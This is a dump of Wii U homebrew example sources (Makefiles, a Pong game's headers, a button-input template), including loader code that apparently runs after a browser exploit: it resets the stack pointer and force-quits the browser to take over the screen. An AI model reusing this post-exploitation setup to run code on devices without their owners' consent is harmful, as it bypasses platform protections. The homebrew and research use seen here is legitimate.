"loader.o"` 39 | 40 | main410: 41 | $(CC) $(CFLAGS) -DVER=410 $(project)/*.c 42 | #-Wa,-a,-ad 43 | cp -r $(root)/*.o $(build) 44 | rm $(root)/*.o 45 | $(LD) $(LDFLAGS) -o $(build)/code410.bin $(build)/loader.o `find $(libs)/410/ -name "*.o" ! -name "draw.o"` `find $(build) -name "*.o" ! -name "loader.o"` 46 | 47 | main400: 48 | $(CC) $(CFLAGS) -DVER=400 $(project)/*.c 49 | #-Wa,-a,-ad 50 | cp -r $(root)/*.o $(build) 51 | rm $(root)/*.o 52 | $(LD) $(LDFLAGS) -o $(build)/code400.bin $(build)/loader.o `find $(libs)/400/ -name "*.o" ! -name "draw.o"` `find $(build) -name "*.o" ! -name "loader.o"` 53 | 54 | main310: 55 | $(CC) $(CFLAGS) -DVER=310 $(project)/*.c 56 | #-Wa,-a,-ad 57 | cp -r $(root)/*.o $(build) 58 | rm $(root)/*.o 59 | $(LD) $(LDFLAGS) -o $(build)/code310.bin $(build)/loader.o `find $(libs)/310/ -name "*.o" ! -name "draw.o"` `find $(build) -name "*.o" ! -name "loader.o"` 60 | 61 | main300: 62 | $(CC) $(CFLAGS) -DVER=300 $(project)/*.c 63 | #-Wa,-a,-ad 64 | cp -r $(root)/*.o $(build) 65 | rm $(root)/*.o 66 | $(LD) $(LDFLAGS) -o $(build)/code300.bin $(build)/loader.o `find $(libs)/300/ -name "*.o" ! -name "draw.o"` `find $(build) -name "*.o" ! -name "loader.o"` 67 | 68 | main210: 69 | $(CC) $(CFLAGS) -DVER=210 $(project)/*.c 70 | #-Wa,-a,-ad 71 | cp -r $(root)/*.o $(build) 72 | rm $(root)/*.o 73 | $(LD) $(LDFLAGS) -o $(build)/code210.bin $(build)/loader.o `find $(libs)/210/ -name "*.o" ! -name "draw.o"` `find $(build) -name "*.o" ! -name "loader.o"` 74 | 75 | main200: 76 | $(CC) $(CFLAGS) -DVER=200 $(project)/*.c 77 | #-Wa,-a,-ad 78 | cp -r $(root)/*.o $(build) 79 | rm $(root)/*.o 80 | $(LD) $(LDFLAGS) -o $(build)/code200.bin $(build)/loader.o `find $(libs)/200/ -name "*.o" ! -name "draw.o"` `find $(build) -name "*.o" ! -name "loader.o"` 81 | 82 | clean: 83 | rm -r $(build)/* 84 | -------------------------------------------------------------------------------- /osscreenexamples/pong/readme: -------------------------------------------------------------------------------- 1 | #Note. Using haxxed version of the draw library to render at twice the resolution per pixel to improve framerate. Basically I modified the drawPixel function. Makefile was and headers were changed to include local copy. Unless you care about speed and want to work off of this engine, please use the library instead, or better yet add support to the main draw libs to support upscaling. -------------------------------------------------------------------------------- /osscreenexamples/pong/src/draw.h: -------------------------------------------------------------------------------- 1 | #ifndef DRAW_H 2 | #define DRAW_H 3 | #include "../../../libwiiu/src/coreinit.h" 4 | #include "../../../libwiiu/src/types.h" 5 | //Function declarations for my graphics library 6 | void flipBuffers(); 7 | void fillScreen(char r, char g, char b, char a); 8 | void drawString(int x, int y, char * string); 9 | void drawPixel(int x, int y, char r, char g, char b, char a); 10 | void drawLine(int x1, int y1, int x2, int y2, char r, char g, char b, char a); 11 | void drawRect(int x1, int y1, int x2, int y2, char r, char g, char b, char a); 12 | void drawFillRect(int x1, int y1, int x2, int y2, char r, char g, char b, char a); 13 | void drawCircle(int xCen, int yCen, int radius, char r, char g, char b, char a); 14 | void drawFillCircle(int xCen, int yCen, int radius, char r, char g, char b, char a); 15 | void drawCircleCircum(int cx, int cy, int x, int y, char r, char g, char b, char a); 16 | #endif /* DRAW_H */ -------------------------------------------------------------------------------- /osscreenexamples/pong/src/loader.c: -------------------------------------------------------------------------------- 1 | #include "loader.h" 2 | 3 | void _start() 4 | { 5 | /****************************> Fix Stack <****************************/ 6 | //Load a good stack 7 | asm( 8 | "lis %r1, 0x1ab5 ;" 9 | "ori %r1, %r1, 0xd138 ;" 10 | ); 11 | /****************************> Get Handles <****************************/ 12 | //Get a handle to coreinit.rpl 13 | unsigned int coreinit_handle; 14 | OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); 15 | /****************************> External Prototypes <****************************/ 16 | //OSScreen functions 17 | void(*OSScreenInit)(); 18 | unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum); 19 | unsigned int(*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); 20 | //OS Memory functions 21 | void*(*memset)(void * dest, uint32_t value, uint32_t bytes); 22 | void*(*OSAllocFromSystem)(uint32_t size, int align); 23 | void(*OSFreeToSystem)(void *ptr); 24 | //IM functions 25 | int(*IM_Open)(); 26 | int(*IM_Close)(int fd); 27 | int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b); 28 | /****************************> Exports <****************************/ 29 | //OSScreen functions 30 | OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit); 31 | OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); 32 | OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx); 33 | //OS Memory functions 34 | OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset); 35 | OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); 36 | OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); 37 | //IM functions 38 | OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open); 39 | OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close); 40 | OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState); 41 | /****************************> Initial Setup <****************************/ 42 | //Restart system to get lib access 43 | int fd = IM_Open(); 44 | void *mem = OSAllocFromSystem(0x100, 64); 45 | memset(mem, 0, 0x100); 46 | //set restart flag to force quit browser 47 | IM_SetDeviceState(fd, mem, 3, 0, 0); 48 | IM_Close(fd); 49 | OSFreeToSystem(mem); 50 | //wait a bit for browser end 51 | unsigned int t1 = 0x1FFFFFFF; 52 | while(t1--) ; 53 | //Call the Screen initilzation function. 54 | OSScreenInit(); 55 | //Grab the buffer size for each screen (TV and gamepad) 56 | int buf0_size = OSScreenGetBufferSizeEx(0); 57 | int buf1_size = OSScreenGetBufferSizeEx(1); 58 | //Set the buffer area. 59 | OSScreenSetBufferEx(0, (void *)0xF4000000); 60 | OSScreenSetBufferEx(1, (void *)0xF4000000 + buf0_size); 61 | //Clear both framebuffers. 62 | int ii = 0; 63 | for (ii; ii < 2; ii++) 64 | { 65 | fillScreen(0,0,0,0); 66 | flipBuffers(); 67 | } 68 | //Jump to entry point. 69 | _entryPoint(); 70 | } -------------------------------------------------------------------------------- /osscreenexamples/pong/src/loader.h: -------------------------------------------------------------------------------- 1 | #ifndef LOADER_H 2 | #define LOADER_H 3 | 4 | #include "../../../libwiiu/src/coreinit.h" 5 | #include "../../../libwiiu/src/vpad.h" 6 | #include "../../../libwiiu/src/types.h" 7 | #include "../../../libwiiu/src/draw.h" 8 | 9 | 10 | #include "program.h" 11 | 12 | void _start(); 13 | 14 | #endif /* LOADER_H */ -------------------------------------------------------------------------------- /osscreenexamples/pong/src/pong.h: -------------------------------------------------------------------------------- 1 | #ifndef PONG_H 2 | #define PONG_H 3 | #include "../../../libwiiu/src/coreinit.h" 4 | #include "../../../libwiiu/src/vpad.h" 5 | #include "../../../libwiiu/src/types.h" 6 | //Using modified version of draw to render at twice the scale to improve framerate 7 | #include "draw.h" 8 | #include "../../../libwiiu/src/math.h" 9 | //Struct for global variables for pong 10 | struct pongGlobals{ 11 | //Flag for restarting the entire game. 12 | int restart; 13 | 14 | //Gameplay boundry 15 | int xMinBoundry; 16 | int xMaxBoundry; 17 | int yMinBoundry; 18 | int yMaxBoundry; 19 | int scale; 20 | int score1X; 21 | int score2X; 22 | int score1Y; 23 | int score2Y; 24 | int winX; 25 | int winY; 26 | 27 | //Globals for ball location and movement dx/dy 28 | int ballX; 29 | int ballX_old; 30 | int ballY; 31 | int ballY_old; 32 | int ballX_size; 33 | int ballY_size; 34 | 35 | //Globals for player1 location and movement dx/dy 36 | int p1X; 37 | int p1X_old; 38 | int p1Y; 39 | int p1Y_old; 40 | int p1X_size; 41 | int p1Y_size; 42 | 43 | //Globals for player2 location and movement dx/dy 44 | int p2X; 45 | int p2X_old; 46 | int p2Y; 47 | int p2Y_old; 48 | int p2X_size; 49 | int p2Y_size; 50 | 51 | int p1X_default; 52 | int p2X_default; 53 | int ballX_default; 54 | int p1Y_default; 55 | int p2Y_default; 56 | int ballY_default; 57 | 58 | //Game engine globals 59 | int direction; 60 | uint32_t button; 61 | int paddleColorR; 62 | int paddleColorG; 63 | int paddleColorB; 64 | int ballColorR; 65 | int ballColorG; 66 | int ballColorB; 67 | int ballTrailColorR; 68 | int ballTrailColorG; 69 | int ballTrailColorB; 70 | int backgroundColorR; 71 | int backgroundColorG; 72 | int backgroundColorB; 73 | int count; 74 | 75 | int score1; 76 | int score2; 77 | int scoreWin; 78 | 79 | int flag; 80 | 81 | int winningPlayer; 82 | 83 | int renderP1Flag; 84 | int renderP2Flag; 85 | 86 | int renderResetFlag; 87 | int renderBallFlag; 88 | int renderWinFlag; 89 | int renderScoreFlag; 90 | }; 91 | 92 | //Function declarations for pong functions. 93 | void renderP2(struct pongGlobals *myPongGlobals); 94 | void renderP1(struct pongGlobals *myPongGlobals); 95 | void renderInitialPlayers(struct pongGlobals *myPongGlobals); 96 | void renderWin(struct pongGlobals *myPongGlobals); 97 | void wait(int t); 98 | void renderReset(struct pongGlobals *myPongGlobals); 99 | void renderScore(struct pongGlobals *myPongGlobals); 100 | void reset(struct pongGlobals *myPongGlobals); 101 | void updatePosition(struct pongGlobals *myPongGlobals); 102 | void resetRenderFlags(struct pongGlobals *myPongGlobals); 103 | void render(struct pongGlobals *myPongGlobals); 104 | void renderBall(struct pongGlobals *myPongGlobals); 105 | void checkWin(struct pongGlobals *myPongGlobals); 106 | void checkCollision(struct pongGlobals *myPongGlobals); 107 | void moveBall(struct pongGlobals *myPongGlobals); 108 | void p2Move(struct pongGlobals *myPongGlobals); 109 | void p1Move(struct pongGlobals *myPongGlobals); 110 | int collisionBox(int box1x, int box1y, int width1, int height1, int box2x, int box2y, int width2, int height2); 111 | #endif /* PONG_H */ -------------------------------------------------------------------------------- /osscreenexamples/pong/src/program.h: -------------------------------------------------------------------------------- 1 | #ifndef PROGRAM_H 2 | #define PROGRAM_H 3 | 4 | #include "../../../libwiiu/src/coreinit.h" 5 | #include "../../../libwiiu/src/vpad.h" 6 | #include "../../../libwiiu/src/types.h" 7 | //Using modified version of draw to render at twice the scale to improve framerate 8 | #include "draw.h" 9 | 10 | #include "pong.h" 11 | 12 | void _entryPoint(); 13 | 14 | #endif /* PROGRAM_H */ -------------------------------------------------------------------------------- /osscreenexamples/template/Makefile: -------------------------------------------------------------------------------- 1 | PATH := $(DEVKITPPC)/bin:$(PATH) 2 | PREFIX = powerpc-eabi- 3 | CC = $(PREFIX)gcc 4 | CFLAGS = -nostdinc -fno-builtin -c 5 | LD = $(PREFIX)ld 6 | LDFLAGS = -Ttext 1800000 --oformat binary 7 | project := src 8 | root := . 9 | build := $(root)/bin 10 | libs := $(root)/../../libwiiu/bin 11 | www := $(root)/../../www 12 | framework := $(root)/../../framework 13 | 14 | all: setup main550 main532 main500 main410 main400 main310 main300 main210 main200 15 | 16 | setup: 17 | mkdir -p $(root)/bin/ 18 | 19 | main550: 20 | $(CC) $(CFLAGS) -DVER=550 $(project)/*.c 21 | #-Wa,-a,-ad 22 | cp -r $(root)/*.o $(build) 23 | rm $(root)/*.o 24 | $(LD) $(LDFLAGS) -o $(build)/code550.bin $(build)/loader.o $(libs)/550/*.o `find $(build) -name "*.o" ! -name "loader.o"` 25 | 26 | main532: 27 | $(CC) $(CFLAGS) -DVER=532 $(project)/*.c 28 | #-Wa,-a,-ad 29 | cp -r $(root)/*.o $(build) 30 | rm $(root)/*.o 31 | $(LD) $(LDFLAGS) -o $(build)/code532.bin $(build)/loader.o $(libs)/532/*.o `find $(build) -name "*.o" ! -name "loader.o"` 32 | 33 | main500: 34 | $(CC) $(CFLAGS) -DVER=500 $(project)/*.c 35 | #-Wa,-a,-ad 36 | cp -r $(root)/*.o $(build) 37 | rm $(root)/*.o 38 | $(LD) $(LDFLAGS) -o $(build)/code500.bin $(build)/loader.o $(libs)/500/*.o `find $(build) -name "*.o" ! -name "loader.o"` 39 | 40 | main410: 41 | $(CC) $(CFLAGS) -DVER=410 $(project)/*.c 42 | #-Wa,-a,-ad 43 | cp -r $(root)/*.o $(build) 44 | rm $(root)/*.o 45 | $(LD) $(LDFLAGS) -o $(build)/code410.bin $(build)/loader.o $(libs)/410/*.o `find $(build) -name "*.o" ! -name "loader.o"` 46 | 47 | main400: 48 | $(CC) $(CFLAGS) -DVER=400 $(project)/*.c 49 | #-Wa,-a,-ad 50 | cp -r $(root)/*.o $(build) 51 | rm $(root)/*.o 52 | $(LD) $(LDFLAGS) -o $(build)/code400.bin $(build)/loader.o $(libs)/400/*.o `find $(build) -name "*.o" ! -name "loader.o"` 53 | 54 | main310: 55 | $(CC) $(CFLAGS) -DVER=310 $(project)/*.c 56 | #-Wa,-a,-ad 57 | cp -r $(root)/*.o $(build) 58 | rm $(root)/*.o 59 | $(LD) $(LDFLAGS) -o $(build)/code310.bin $(build)/loader.o $(libs)/310/*.o `find $(build) -name "*.o" ! -name "loader.o"` 60 | 61 | main300: 62 | $(CC) $(CFLAGS) -DVER=300 $(project)/*.c 63 | #-Wa,-a,-ad 64 | cp -r $(root)/*.o $(build) 65 | rm $(root)/*.o 66 | $(LD) $(LDFLAGS) -o $(build)/code300.bin $(build)/loader.o $(libs)/300/*.o `find $(build) -name "*.o" ! -name "loader.o"` 67 | 68 | main210: 69 | $(CC) $(CFLAGS) -DVER=210 $(project)/*.c 70 | #-Wa,-a,-ad 71 | cp -r $(root)/*.o $(build) 72 | rm $(root)/*.o 73 | $(LD) $(LDFLAGS) -o $(build)/code210.bin $(build)/loader.o $(libs)/210/*.o `find $(build) -name "*.o" ! -name "loader.o"` 74 | 75 | main200: 76 | $(CC) $(CFLAGS) -DVER=200 $(project)/*.c 77 | #-Wa,-a,-ad 78 | cp -r $(root)/*.o $(build) 79 | rm $(root)/*.o 80 | $(LD) $(LDFLAGS) -o $(build)/code200.bin $(build)/loader.o $(libs)/200/*.o `find $(build) -name "*.o" ! -name "loader.o"` 81 | 82 | clean: 83 | rm -r $(build)/* 84 | -------------------------------------------------------------------------------- /osscreenexamples/template/src/loader.c: -------------------------------------------------------------------------------- 1 | #include "loader.h" 2 | 3 | void _start() 4 | { 5 | /****************************> Fix Stack <****************************/ 6 | //Load a good stack 7 | asm( 8 | "lis %r1, 0x1ab5 ;" 9 | "ori %r1, %r1, 0xd138 ;" 10 | ); 11 | /****************************> Get Handles <****************************/ 12 | //Get a handle to coreinit.rpl 13 | unsigned int coreinit_handle; 14 | OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); 15 | /****************************> External Prototypes <****************************/ 16 | //OSScreen functions 17 | void(*OSScreenInit)(); 18 | unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum); 19 | unsigned int(*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); 20 | //OS Memory functions 21 | void*(*memset)(void * dest, uint32_t value, uint32_t bytes); 22 | void*(*OSAllocFromSystem)(uint32_t size, int align); 23 | void(*OSFreeToSystem)(void *ptr); 24 | //IM functions 25 | int(*IM_Open)(); 26 | int(*IM_Close)(int fd); 27 | int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b); 28 | /****************************> Exports <****************************/ 29 | //OSScreen functions 30 | OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit); 31 | OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); 32 | OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx); 33 | //OS Memory functions 34 | OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset); 35 | OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); 36 | OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); 37 | //IM functions 38 | OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open); 39 | OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close); 40 | OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState); 41 | /****************************> Initial Setup <****************************/ 42 | //Restart system to get lib access 43 | int fd = IM_Open(); 44 | void *mem = OSAllocFromSystem(0x100, 64); 45 | memset(mem, 0, 0x100); 46 | //set restart flag to force quit browser 47 | IM_SetDeviceState(fd, mem, 3, 0, 0); 48 | IM_Close(fd); 49 | OSFreeToSystem(mem); 50 | //wait a bit for browser end 51 | unsigned int t1 = 0x1FFFFFFF; 52 | while(t1--) ; 53 | //Call the Screen initilzation function. 54 | OSScreenInit(); 55 | //Grab the buffer size for each screen (TV and gamepad) 56 | int buf0_size = OSScreenGetBufferSizeEx(0); 57 | int buf1_size = OSScreenGetBufferSizeEx(1); 58 | //Set the buffer area. 59 | OSScreenSetBufferEx(0, (void *)0xF4000000); 60 | OSScreenSetBufferEx(1, (void *)0xF4000000 + buf0_size); 61 | //Clear both framebuffers. 62 | int ii = 0; 63 | for (ii; ii < 2; ii++) 64 | { 65 | fillScreen(0,0,0,0); 66 | flipBuffers(); 67 | } 68 | //Jump to entry point. 69 | _entryPoint(); 70 | } -------------------------------------------------------------------------------- /osscreenexamples/template/src/loader.h: -------------------------------------------------------------------------------- 1 | #ifndef LOADER_H 2 | #define LOADER_H 3 | 4 | #include "../../../libwiiu/src/coreinit.h" 5 | #include "../../../libwiiu/src/vpad.h" 6 | #include "../../../libwiiu/src/types.h" 7 | #include "../../../libwiiu/src/draw.h" 8 | 9 | 10 | #include "program.h" 11 | 12 | void _start(); 13 | 14 | void _entryPoint(); 15 | #endif /* LOADER_H */ -------------------------------------------------------------------------------- /osscreenexamples/template/src/program.c: -------------------------------------------------------------------------------- 1 | #include "program.h" 2 | 3 | void _entryPoint() 4 | { 5 | /****************************> Get Handles <****************************/ 6 | //Get a handle to coreinit.rpl 7 | unsigned int coreinit_handle; 8 | OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); 9 | //Get a handle to vpad.rpl */ 10 | unsigned int vpad_handle; 11 | OSDynLoad_Acquire("vpad.rpl", &vpad_handle); 12 | /****************************> External Prototypes <****************************/ 13 | //VPAD functions 14 | int(*VPADRead)(int controller, VPADData *buffer, unsigned int num, int *error); 15 | //OS functions 16 | void(*_Exit)(); 17 | /****************************> Exports <****************************/ 18 | //VPAD functions 19 | OSDynLoad_FindExport(vpad_handle, 0, "VPADRead", &VPADRead); 20 | //OS functions 21 | OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit); 22 | /****************************> Globals <****************************/ 23 | struct renderFlags flags; 24 | flags.y=0; 25 | flags.x=0; 26 | flags.a=0; 27 | flags.b=0; 28 | __os_snprintf(flags.aPressed, 32, "A button pressed"); 29 | __os_snprintf(flags.bPressed, 32, "B button pressed"); 30 | __os_snprintf(flags.xPressed, 32, "X button pressed"); 31 | __os_snprintf(flags.yPressed, 32, "Y button pressed"); 32 | /****************************> VPAD Loop <****************************/ 33 | 34 | /* Enter the VPAD loop */ 35 | int error; 36 | VPADData vpad_data; 37 | //Read initial vpad status 38 | VPADRead(0, &vpad_data, 1, &error); 39 | 40 | while(1) 41 | { 42 | VPADRead(0, &vpad_data, 1, &error); 43 | 44 | //button A 45 | if (vpad_data.btn_hold & BUTTON_A) 46 | flags.a=1; 47 | 48 | //button B 49 | if (vpad_data.btn_hold & BUTTON_B) 50 | flags.b=1; 51 | 52 | //button X 53 | if (vpad_data.btn_hold & BUTTON_X) 54 | flags.x=1; 55 | 56 | //button Y 57 | if (vpad_data.btn_hold & BUTTON_Y) 58 | flags.y=1; 59 | 60 | //end 61 | if(vpad_data.btn_hold & BUTTON_HOME) 62 | break; 63 | 64 | render(&flags); 65 | } 66 | //WARNING: DO NOT CHANGE THIS. YOU MUST CLEAR THE FRAMEBUFFERS AND IMMEDIATELY CALL EXIT FROM THIS FUNCTION. RETURNING TO LOADER CAUSES FREEZE. 67 | int ii=0; 68 | for(ii;ii<2;ii++) 69 | { 70 | fillScreen(0,0,0,0); 71 | flipBuffers(); 72 | } 73 | _Exit(); 74 | } 75 | 76 | void render(struct renderFlags *flags) 77 | { 78 | int i=0; 79 | for(i;i<2;i++) 80 | { 81 | fillScreen(0,0,0,0); 82 | if(flags->a) 83 | drawString(0,0,flags->aPressed); 84 | if(flags->b) 85 | drawString(0,1,flags->bPressed); 86 | if(flags->x) 87 | drawString(0,2,flags->xPressed); 88 | if(flags->y) 89 | drawString(0,3,flags->yPressed); 90 | flipBuffers(); 91 | } 92 | flags->a=0; 93 | flags->b=0; 94 | flags->x=0; 95 | flags->y=0; 96 | } -------------------------------------------------------------------------------- /osscreenexamples/template/src/program.h: -------------------------------------------------------------------------------- 1 | #ifndef PROGRAM_H 2 | #define PROGRAM_H 3 | #include "../../../libwiiu/src/coreinit.h" 4 | #include "../../../libwiiu/src/vpad.h" 5 | #include "../../../libwiiu/src/types.h" 6 | #include "../../../libwiiu/src/draw.h" 7 | 8 | struct renderFlags { 9 | int a; 10 | int b; 11 | int x; 12 | int y; 13 | char aPressed[32]; 14 | char bPressed[32]; 15 | char xPressed[32]; 16 | char yPressed[32]; 17 | }; 18 | 19 | 20 | 21 | void _entryPoint(); 22 | void render(struct renderFlags *flags); 23 | 24 | #endif /* PROGRAM_H */ -------------------------------------------------------------------------------- /osscreenexamples/usbgcadapter/Makefile: -------------------------------------------------------------------------------- 1 | PATH := $(DEVKITPPC)/bin:$(PATH) 2 | PREFIX = powerpc-eabi- 3 | CC = $(PREFIX)gcc 4 | CFLAGS = -nostdinc -fno-builtin -c 5 | LD = $(PREFIX)ld 6 | LDFLAGS = -Ttext 1800000 --oformat binary 7 | project := src 8 | root := . 9 | build := $(root)/bin 10 | libs := $(root)/../../libwiiu/bin 11 | www := $(root)/../../www 12 | framework := $(root)/../../framework 13 | 14 | all: setup main550 main532 main500 main410 main400 main310 main300 main210 main200 15 | 16 | setup: 17 | mkdir -p $(root)/bin/ 18 | 19 | main550: 20 | $(CC) $(CFLAGS) -DVER=550 $(project)/*.c 21 | #-Wa,-a,-ad 22 | cp -r $(root)/*.o $(build) 23 | rm $(root)/*.o 24 | $(LD) $(LDFLAGS) -o $(build)/code550.bin $(build)/loader.o $(libs)/550/*.o `find $(build) -name "*.o" ! -name "loader.o"` 25 | 26 | main532: 27 | $(CC) $(CFLAGS) -DVER=532 $(project)/*.c 28 | #-Wa,-a,-ad 29 | cp -r $(root)/*.o $(build) 30 | rm $(root)/*.o 31 | $(LD) $(LDFLAGS) -o $(build)/code532.bin $(build)/loader.o $(libs)/532/*.o `find $(build) -name "*.o" ! -name "loader.o"` 32 | 33 | main500: 34 | $(CC) $(CFLAGS) -DVER=500 $(project)/*.c 35 | #-Wa,-a,-ad 36 | cp -r $(root)/*.o $(build) 37 | rm $(root)/*.o 38 | $(LD) $(LDFLAGS) -o $(build)/code500.bin $(build)/loader.o $(libs)/500/*.o `find $(build) -name "*.o" ! -name "loader.o"` 39 | 40 | main410: 41 | $(CC) $(CFLAGS) -DVER=410 $(project)/*.c 42 | #-Wa,-a,-ad 43 | cp -r $(root)/*.o $(build) 44 | rm $(root)/*.o 45 | $(LD) $(LDFLAGS) -o $(build)/code410.bin $(build)/loader.o $(libs)/410/*.o `find $(build) -name "*.o" ! -name "loader.o"` 46 | 47 | main400: 48 | $(CC) $(CFLAGS) -DVER=400 $(project)/*.c 49 | #-Wa,-a,-ad 50 | cp -r $(root)/*.o $(build) 51 | rm $(root)/*.o 52 | $(LD) $(LDFLAGS) -o $(build)/code400.bin $(build)/loader.o $(libs)/400/*.o `find $(build) -name "*.o" ! -name "loader.o"` 53 | 54 | main310: 55 | $(CC) $(CFLAGS) -DVER=310 $(project)/*.c 56 | #-Wa,-a,-ad 57 | cp -r $(root)/*.o $(build) 58 | rm $(root)/*.o 59 | $(LD) $(LDFLAGS) -o $(build)/code310.bin $(build)/loader.o $(libs)/310/*.o `find $(build) -name "*.o" ! -name "loader.o"` 60 | 61 | main300: 62 | $(CC) $(CFLAGS) -DVER=300 $(project)/*.c 63 | #-Wa,-a,-ad 64 | cp -r $(root)/*.o $(build) 65 | rm $(root)/*.o 66 | $(LD) $(LDFLAGS) -o $(build)/code300.bin $(build)/loader.o $(libs)/300/*.o `find $(build) -name "*.o" ! -name "loader.o"` 67 | 68 | main210: 69 | $(CC) $(CFLAGS) -DVER=210 $(project)/*.c 70 | #-Wa,-a,-ad 71 | cp -r $(root)/*.o $(build) 72 | rm $(root)/*.o 73 | $(LD) $(LDFLAGS) -o $(build)/code210.bin $(build)/loader.o $(libs)/210/*.o `find $(build) -name "*.o" ! -name "loader.o"` 74 | 75 | main200: 76 | $(CC) $(CFLAGS) -DVER=200 $(project)/*.c 77 | #-Wa,-a,-ad 78 | cp -r $(root)/*.o $(build) 79 | rm $(root)/*.o 80 | $(LD) $(LDFLAGS) -o $(build)/code200.bin $(build)/loader.o $(libs)/200/*.o `find $(build) -name "*.o" ! -name "loader.o"` 81 | 82 | clean: 83 | rm -r $(build)/* 84 | -------------------------------------------------------------------------------- /osscreenexamples/usbgcadapter/src/loader.c: -------------------------------------------------------------------------------- 1 | #include "loader.h" 2 | 3 | void _start() 4 | { 5 | /****************************> Fix Stack <****************************/ 6 | //Load a good stack 7 | asm( 8 | "lis %r1, 0x1ab5 ;" 9 | "ori %r1, %r1, 0xd138 ;" 10 | ); 11 | /****************************> Get Handles <****************************/ 12 | //Get a handle to coreinit.rpl 13 | unsigned int coreinit_handle; 14 | OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); 15 | /****************************> External Prototypes <****************************/ 16 | //OSScreen functions 17 | void(*OSScreenInit)(); 18 | unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum); 19 | unsigned int(*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); 20 | //OS Memory functions 21 | void*(*memset)(void * dest, uint32_t value, uint32_t bytes); 22 | void*(*OSAllocFromSystem)(uint32_t size, int align); 23 | void(*OSFreeToSystem)(void *ptr); 24 | //IM functions 25 | int(*IM_Open)(); 26 | int(*IM_Close)(int fd); 27 | int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b); 28 | /****************************> Exports <****************************/ 29 | //OSScreen functions 30 | OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit); 31 | OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); 32 | OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx); 33 | //OS Memory functions 34 | OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset); 35 | OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); 36 | OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); 37 | //IM functions 38 | OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open); 39 | OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close); 40 | OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState); 41 | /****************************> Initial Setup <****************************/ 42 | //Restart system to get lib access 43 | int fd = IM_Open(); 44 | void *mem = OSAllocFromSystem(0x100, 64); 45 | memset(mem, 0, 0x100); 46 | //set restart flag to force quit browser 47 | IM_SetDeviceState(fd, mem, 3, 0, 0); 48 | IM_Close(fd); 49 | OSFreeToSystem(mem); 50 | //wait a bit for browser end 51 | unsigned int t1 = 0x1FFFFFFF; 52 | while(t1--) ; 53 | //Call the Screen initilzation function. 54 | OSScreenInit(); 55 | //Grab the buffer size for each screen (TV and gamepad) 56 | int buf0_size = OSScreenGetBufferSizeEx(0); 57 | int buf1_size = OSScreenGetBufferSizeEx(1); 58 | //Set the buffer area. 59 | OSScreenSetBufferEx(0, (void *)0xF4000000); 60 | OSScreenSetBufferEx(1, (void *)0xF4000000 + buf0_size); 61 | //Clear both framebuffers. 62 | int ii = 0; 63 | for (ii; ii < 2; ii++) 64 | { 65 | fillScreen(0,0,0,0); 66 | flipBuffers(); 67 | } 68 | //Jump to entry point. 69 | _entryPoint(); 70 | } -------------------------------------------------------------------------------- /osscreenexamples/usbgcadapter/src/loader.h: -------------------------------------------------------------------------------- 1 | #ifndef LOADER_H 2 | #define LOADER_H 3 | 4 | #include "../../../libwiiu/src/coreinit.h" 5 | #include "../../../libwiiu/src/vpad.h" 6 | #include "../../../libwiiu/src/types.h" 7 | #include "../../../libwiiu/src/draw.h" 8 | 9 | 10 | #include "program.h" 11 | 12 | void _start(); 13 | 14 | void _entryPoint(); 15 | #endif /* LOADER_H */ -------------------------------------------------------------------------------- /osscreenexamples/usbgcadapter/src/program.h: -------------------------------------------------------------------------------- 1 | #ifndef PROGRAM_H 2 | #define PROGRAM_H 3 | #include "../../../libwiiu/src/coreinit.h" 4 | #include "../../../libwiiu/src/types.h" 5 | #include "../../../libwiiu/src/draw.h" 6 | 7 | void _entryPoint(); 8 | 9 | #endif /* PROGRAM_H */ -------------------------------------------------------------------------------- /scripts/__pycache__/fs.cpython-34.pyc: -------------------------------------------------------------------------------- 